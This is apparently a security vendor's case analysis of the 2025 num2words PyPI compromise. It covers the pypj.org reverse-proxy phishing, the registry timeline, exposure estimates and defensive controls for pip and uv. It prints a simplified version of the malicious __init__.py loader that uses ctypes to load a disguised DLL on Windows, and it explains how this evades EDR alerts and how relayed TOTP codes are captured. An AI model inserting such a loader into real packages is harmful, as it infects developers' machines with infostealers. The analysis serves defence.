osec.one case analysis cover: num2words 2025, Scavenger moves to PyPI after the npm phishing wave

On 28 July 2025, just ten days after phishing npm maintainers to backdoor eslint-config-prettier, the threat actors behind the Scavenger malware family turned their sights on Python. Their target was num2words, a widely used utility that turns numbers into words (converting 42 into "forty-two"), with 7.78 million downloads a month and 2.75 million a week.

The campaign relied on a spoofed email claiming to be an urgent [PyPI] Email verification warning from noreply@pypj.org. Instead of a static fake page, the domain operated an Adversary-in-the-Middle (AitM) reverse proxy that passed credentials and live one-time passwords (TOTP) straight to the real pypi.org. Once inside four maintainer accounts, the attackers published backdoored versions 0.5.15 and 0.5.16 to PyPI with zero matching commits on GitHub.

Unlike npm, where install scripts can immediately execute shell commands, modern Python pre-built wheels (.whl) do not run arbitrary installation scripts during pip install. The attackers adapted: they patched num2words/__init__.py. When imported on Windows, the package used Python's built-in ctypes module to load a malicious DLL directly into memory, running the Scavenger loader to drop credential and crypto infostealers. This breakdown details the registry timeline, download exposure, execution mechanics, and the controls that keep pip and uv pipelines secure.

Six-step attack diagram: spoofed email from pypj.org, reverse proxy steals credentials and TOTP, num2words 0.5.15 published to PyPI, __init__.py runs ctypes loader on Windows, Scavenger downloads infostealers, researchers flag release and PyPI removes it within hours

What happened, dated (UTC)

When (2025)EventSource
18 Jul, 15:51Scavenger compromises eslint-config-prettier on npm via npnjs.com; install.js executes DLL via rundll32npm registry, Invoke RE
24–27 JulPhishing wave sends spoofed "[PyPI] Email verification" messages from noreply@pypj.org to PyPI maintainersPyPI Security, BleepingComputer
28 Jul, morningFour maintainer accounts accessed via real-time reverse proxy that intercepted passwords and TOTP codesPSF Security Advisory
28 Jul, morningMalicious num2words 0.5.15 and 0.5.16 uploaded to PyPI containing poisoned __init__.py; 0 commits on GitHubPyPI registry, StepSecurity
28 Jul, 12:40Security researcher @johnk3r and Invoke RE spot the release and publish Scavenger attribution and IOCsInvoke RE report
28 Jul, 14:15PyPI security pulls versions 0.5.15 and 0.5.16, invalidates compromised tokens, and triggers domain takedown for pypj.orgPyPI registry
29 JulOfficial maintainers at savoirfairelinux/num2words confirm GitHub was untouched and rotate maintainer credentialsGitHub repository

The numbers: downloads, exposure and blast radius

Because num2words is an unglamorous utility embedded in invoice generators, document templates, financial reporting packages, and CRM tools, its download volume is massive. We pulled live registry telemetry from PyPI stats to evaluate the potential reach during the incident:

MetricVolumeSignificance
Monthly downloads7,789,143Baseline traffic for num2words on PyPI
Weekly downloads2,752,204~393,000 installs every 24 hours
Exposure window~3.5 hoursTime between rogue upload and PyPI removal
Estimated download ceiling~57,000Maximum downloads during the active window (3.5 / 24 * 393K)
Targeted operating systemWindows onlyLoader explicitly checks sys.platform == "win32"
Clean version restored0.5.14Legitimate December 2024 release remains latest safe tag

The 57,000 figure represents the absolute ceiling on installs during the active window. The true victim count was substantially lower for three reasons:

- Platform filter: The embedded payload immediately exited on Linux, macOS, and container environments. Most cloud backend tasks running on Debian or Alpine never triggered the DLL.

- Execution trigger: Because pre-built wheels do not run install hooks, machines that downloaded the package in automated build caches without running integration tests were never infected.

- Lockfile isolation: Developers and teams deploying with exact pinned versions or locked hashes (num2words==0.5.14) rejected the update entirely.

Execution mechanics: npm install scripts vs Python import time

The transition from npm to PyPI forced the Scavenger threat actors to redesign their execution mechanism. In the JavaScript ecosystem, package managers run lifecycle scripts automatically unless configured otherwise. In Python, wheels are designed specifically to eliminate install-time code execution.

Featurenpm (eslint-config-prettier 2025)PyPI (num2words 2025)
Phishing domainnpnjs.com (letter substitution)pypj.org (letter substitution)
Stolen credentialnpm automation API tokenPyPI web session + 2FA TOTP code
Execution vectorpackage.json lifecycle script (install.js)Package initialization in __init__.py
Execution timingDuring npm installWhen code runs import num2words
Process spawnedrundll32.exe node-gyp.dllNative in-process call via ctypes.cdll
Target environmentWindows developers running lint toolsWindows developers and workstations

To bypass the absence of install scripts in wheels, the attacker modified num2words/__init__.py. The injected code checked whether the host system was Windows, located a bundled DLL named _build.py (disguised as Python source code), and loaded it directly into the Python interpreter address space:

python
# Simplified deobfuscated payload in num2words-0.5.15/__init__.py
import sys, os, ctypes

if sys.platform == "win32":
    try:
        base_dir = os.path.dirname(__file__)
        dll_path = os.path.join(base_dir, "_build.py")
        if os.path.exists(dll_path):
            # Dynamically loads the Scavenger loader inside python.exe
            ctypes.cdll.LoadLibrary(dll_path)
    except Exception:
        pass

This in-process execution gave the attackers an evasive edge. Many Endpoint Detection and Response (EDR) solutions monitor suspicious command lines like cmd.exe /c rundll32.exe malicious.dll. Loading a DLL inside the existing python.exe process via ctypes avoided creating a new child process, evading common process-creation alerts.

Why TOTP failed against pypj.org, and what actually stops it

Many developers believe that enabling two-factor authentication (2FA) with an authenticator app (TOTP) makes their account immune to phishing. The pypj.org campaign proved once again why that assumption is broken:

- Adversary-in-the-Middle (AitM): Attackers do not create static clone forms. They deploy a transparent reverse proxy (like Evilginx or Modlishka) on pypj.org that fetches real login pages from pypi.org in real time.

- Live relay: When the maintainer enters their username, password, and the 6-digit TOTP code generated on their phone, the proxy forwards those exact credentials to pypi.org within seconds.

- Session capture: PyPI validates the TOTP code and returns an authenticated session cookie. The proxy intercepts the cookie, stores it for the attacker, and signs the victim into PyPI as normal.

Why hardware security keys (FIDO2 / WebAuthn) are immune: WebAuthn binds cryptographic authentication directly to the exact domain origin in the browser address bar. When authenticating on pypj.org, the security key signs a challenge containing pypj.org. When the proxy tries to forward that signature to pypi.org, the PyPI server verifies the signed origin against its own domain and immediately rejects the signature. TOTP can be relayed; FIDO2 cannot.

Four practical controls for pip and uv pipelines

You do not need complex enterprise tooling to safeguard your development workflow against compromised upstream releases. Four foundational controls prevent this attack class:

- 1. Enforce cryptographic hash pinning: Never install packages from bare names or loose ranges (num2words>=0.5.10). Use uv.lock, poetry.lock, or pip install --require-hashes -r requirements.txt. If an attacker pushes a compromised release or swaps a tarball, the hash check fails immediately and halts the install.

- 2. Migrate to PyPI Trusted Publishing (OIDC): Maintainers should abandon long-lived personal API tokens. PyPI Trusted Publishing uses OpenID Connect (OIDC) to issue ephemeral, short-lived tokens directly from GitHub Actions releases. Even if a maintainer is phished, there are no static API keys on their laptop to harvest.

- 3. Enforce WebAuthn security keys for registry logins: Replace SMS and authenticator app (TOTP) codes with physical security keys (YubiKeys) or device passkeys on PyPI and GitHub accounts. As demonstrated by pypj.org, reverse-proxy phishing neutralizes TOTP.

- 4. Adopt a 3-day release cooldown: The vast majority of poisoned open-source packages are detected, reported, and removed by registry admins within 2 to 6 hours. Delaying non-security dependency updates by 72 hours ensures malicious versions are purged before reaching your machines.

Checking your environment for compromised releases

To verify that your workstations, Docker images, and lockfiles never fetched the bad releases, run a quick grep across your dependencies:

bash
# Check currently installed packages in your active Python environment
python -m pip list | grep -E "num2words\s+0\.5\.(15|16)"

# Audit your repository lockfiles
grep -nE "num2words.*(0\.5\.15|0\.5\.16)" requirements.txt poetry.lock uv.lock Pipfile.lock 2>/dev/null

If either version appears in your environment on a Windows host, treat the machine as compromised: revoke local credentials, audit outgoing network logs for unusual connections, and downgrade to verified version num2words==0.5.14.

Supply chain attacks frequently target developer credentials and unpinned CI release workflows. Scan your GitHub Actions workflows for token leaks, untrusted triggers, and unpinned dependencies in seconds.

Run the Workflow risk check

Related case analyses

- eslint-config-prettier 2025: a phishing email from npnjs.com and the Scavenger loader in a lint config — The predecessor npm attack ten days earlier using spoofed verification emails and install-time DLL execution.

- Ultralytics 2024: a poisoned PyPI release built by the project's own GitHub workflow — How an unpinned GitHub Actions workflow allowed attackers to publish backdoored releases directly to PyPI.

- chalk and debug 2025: a 2FA-reset email from npmjs.help and two hours of crypto-clipper code — A separate phishing wave that intercepted 2FA resets to compromise popular JavaScript libraries.